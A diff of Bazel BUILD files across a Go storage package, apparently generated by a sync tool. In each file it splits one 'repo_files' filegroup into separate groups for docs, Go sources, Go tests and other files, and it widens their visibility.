b/internal/storage/BUILD.bazel index e8ed03a5c..86a1ef4f6 100644 --- a/internal/storage/BUILD.bazel +++ b/internal/storage/BUILD.bazel @@ -182,12 +182,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -196,7 +235,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/backendnames/BUILD.bazel b/internal/storage/backendnames/BUILD.bazel index 90aa5c611..cde019f6b 100644 --- a/internal/storage/backendnames/BUILD.bazel +++ b/internal/storage/backendnames/BUILD.bazel @@ -23,12 +23,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -37,7 +76,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/backends/BUILD.bazel b/internal/storage/backends/BUILD.bazel index d5c06c542..6d8a7ce76 100644 --- a/internal/storage/backends/BUILD.bazel +++ b/internal/storage/backends/BUILD.bazel @@ -42,12 +42,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -56,7 +95,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/batchbench/BUILD.bazel b/internal/storage/batchbench/BUILD.bazel index 7b15e3ec5..a689d08c2 100644 --- a/internal/storage/batchbench/BUILD.bazel +++ b/internal/storage/batchbench/BUILD.bazel @@ -31,12 +31,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -45,7 +84,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/batchfixtures/BUILD.bazel b/internal/storage/batchfixtures/BUILD.bazel index a4718d9bf..cfeac392a 100644 --- a/internal/storage/batchfixtures/BUILD.bazel +++ b/internal/storage/batchfixtures/BUILD.bazel @@ -43,12 +43,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -57,7 +96,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/contextinfo/BUILD.bazel b/internal/storage/contextinfo/BUILD.bazel index 00814c404..031802ba0 100644 --- a/internal/storage/contextinfo/BUILD.bazel +++ b/internal/storage/contextinfo/BUILD.bazel @@ -33,12 +33,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -47,7 +86,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/createbatchequiv/BUILD.bazel b/internal/storage/createbatchequiv/BUILD.bazel index 39cb683ac..4d76b4ee5 100644 --- a/internal/storage/createbatchequiv/BUILD.bazel +++ b/internal/storage/createbatchequiv/BUILD.bazel @@ -43,12 +43,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -57,7 +96,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/dberrors/BUILD.bazel b/internal/storage/dberrors/BUILD.bazel index 5a5614ffe..4e0b623f7 100644 --- a/internal/storage/dberrors/BUILD.bazel +++ b/internal/storage/dberrors/BUILD.bazel @@ -37,12 +37,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -51,7 +90,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/dbproxy/identity/BUILD.bazel b/internal/storage/dbproxy/identity/BUILD.bazel index de7e8243c..6875fd2fe 100644 --- a/internal/storage/dbproxy/identity/BUILD.bazel +++ b/internal/storage/dbproxy/identity/BUILD.bazel @@ -37,12 +37,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -51,7 +90,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/dbproxy/pidfile/BUILD.bazel b/internal/storage/dbproxy/pidfile/BUILD.bazel index 47e4de2d1..294d2e682 100644 --- a/internal/storage/dbproxy/pidfile/BUILD.bazel +++ b/internal/storage/dbproxy/pidfile/BUILD.bazel @@ -30,12 +30,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -44,7 +83,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/dbproxy/proxy/BUILD.bazel b/internal/storage/dbproxy/proxy/BUILD.bazel index f3691c871..28d21fa02 100644 --- a/internal/storage/dbproxy/proxy/BUILD.bazel +++ b/internal/storage/dbproxy/proxy/BUILD.bazel @@ -112,12 +112,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -126,7 +165,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/dbproxy/server/BUILD.bazel b/internal/storage/dbproxy/server/BUILD.bazel index 4236238be..151f3ac5a 100644 --- a/internal/storage/dbproxy/server/BUILD.bazel +++ b/internal/storage/dbproxy/server/BUILD.bazel @@ -66,12 +66,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -80,7 +119,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/dbproxy/util/BUILD.bazel b/internal/storage/dbproxy/util/BUILD.bazel index e0a65d2f5..1efad1bf3 100644 --- a/internal/storage/dbproxy/util/BUILD.bazel +++ b/internal/storage/dbproxy/util/BUILD.bazel @@ -37,12 +37,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -51,7 +90,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/depid/BUILD.bazel b/internal/storage/depid/BUILD.bazel index 6fa6f9f05..1f6bafa88 100644 --- a/internal/storage/depid/BUILD.bazel +++ b/internal/storage/depid/BUILD.bazel @@ -30,12 +30,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -44,7 +83,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/dolt/BUILD.bazel b/internal/storage/dolt/BUILD.bazel index 987879f40..989f2d8e4 100644 --- a/internal/storage/dolt/BUILD.bazel +++ b/internal/storage/dolt/BUILD.bazel @@ -596,12 +596,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -610,7 +649,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/doltutil/BUILD.bazel b/internal/storage/doltutil/BUILD.bazel index d018dd26b..3dae2c8b2 100644 --- a/internal/storage/doltutil/BUILD.bazel +++ b/internal/storage/doltutil/BUILD.bazel @@ -59,12 +59,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -73,7 +112,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/domain/BUILD.bazel b/internal/storage/domain/BUILD.bazel index 4393d650a..691757192 100644 --- a/internal/storage/domain/BUILD.bazel +++ b/internal/storage/domain/BUILD.bazel @@ -93,12 +93,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -107,7 +146,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/domain/db/BUILD.bazel b/internal/storage/domain/db/BUILD.bazel index 823ed995a..0b7df5abb 100644 --- a/internal/storage/domain/db/BUILD.bazel +++ b/internal/storage/domain/db/BUILD.bazel @@ -168,12 +168,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -182,7 +221,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/domain/fs/BUILD.bazel b/internal/storage/domain/fs/BUILD.bazel index 4d6d2e8cb..2ce97fd3f 100644 --- a/internal/storage/domain/fs/BUILD.bazel +++ b/internal/storage/domain/fs/BUILD.bazel @@ -81,12 +81,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -95,7 +134,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/domain/git/BUILD.bazel b/internal/storage/domain/git/BUILD.bazel index 7b4b8f2e0..d2c13e895 100644 --- a/internal/storage/domain/git/BUILD.bazel +++ b/internal/storage/domain/git/BUILD.bazel @@ -68,12 +68,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -82,7 +121,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/embeddeddolt/BUILD.bazel b/internal/storage/embeddeddolt/BUILD.bazel index 181e37e32..e4e9258db 100644 --- a/internal/storage/embeddeddolt/BUILD.bazel +++ b/internal/storage/embeddeddolt/BUILD.bazel @@ -422,12 +422,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -436,7 +475,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/embeddeddolt/cmd/BUILD.bazel b/internal/storage/embeddeddolt/cmd/BUILD.bazel index 4fa70405d..8a9136e0b 100644 --- a/internal/storage/embeddeddolt/cmd/BUILD.bazel +++ b/internal/storage/embeddeddolt/cmd/BUILD.bazel @@ -38,12 +38,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -52,7 +91,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/externaldeps/BUILD.bazel b/internal/storage/externaldeps/BUILD.bazel index d558c90a4..31715e16c 100644 --- a/internal/storage/externaldeps/BUILD.bazel +++ b/internal/storage/externaldeps/BUILD.bazel @@ -59,12 +59,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -73,7 